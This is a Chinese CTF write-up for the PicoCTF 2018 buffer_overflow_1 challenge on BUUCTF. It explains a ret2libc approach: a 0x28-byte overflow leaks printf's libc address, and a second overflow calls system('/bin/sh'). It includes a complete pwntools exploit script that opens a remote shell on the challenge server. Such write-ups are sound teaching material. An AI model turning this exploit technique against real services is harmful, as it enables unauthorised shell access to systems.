BUUCTF:PicoCTF_2018_buffer_overflow_1

我看网络上大多数都是直接溢出到win()函数,这篇我就提供给刚入门的pwner另外一种思路

先放进虚拟机中检查:

任何保护机制都没开,放到32位IDA中:

主函数很简单,进入vuln()函数看一下:

很明显有溢出,进入栈中看偏移:

 这里偏移为0x28,我们思路是第一次溢出,去泄露libc地址,再次进行溢出get shell。

第一次溢出:

io.recvuntil(':')
payload = 'A'*0X28
payload += p32(0)
payload += p32(printf)
payload += p32(main)
payload += p32(elf.got['printf'])

io.sendline(payload)
io.recvuntil('0x8048420\n')

leak = u32(io.recv(4))
libc_base = leak - libc.sym['printf']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

success(hex(leak))
success(hex(libc_base))
success(hex(system))
success(hex(binsh))

第二次进行溢出:

io.recvuntil(':')
payload = 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

io.sendline(payload)

完整exp:

from pwn import *
elf = ELF('./PicoCTF_2018_buffer_overflow_1')
io = remote('node4.buuoj.cn',27620)
libc = ELF('./libc-2.27.so')
context(log_level='debug')

main = 0x804865D
printf = 0x8048420

io.recvuntil(':')

payload = 'A'*0X28
payload += p32(0)
payload += p32(printf)
payload += p32(main)
payload += p32(elf.got['printf'])

io.sendline(payload)
io.recvuntil('0x8048420\n')

leak = u32(io.recv(4))
success(hex(leak))

libc_base = leak - libc.sym['printf']
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search('/bin/sh\x00').next()

success(hex(libc_base))
success(hex(system))
success(hex(binsh))

io.recvuntil(':')
payload = 'A'*0x28
payload += p32(0)
payload += p32(system)
payload += p32(0)
payload += p32(binsh)

io.sendline(payload)

io.interactive()

 喜提flag!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Leee333

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值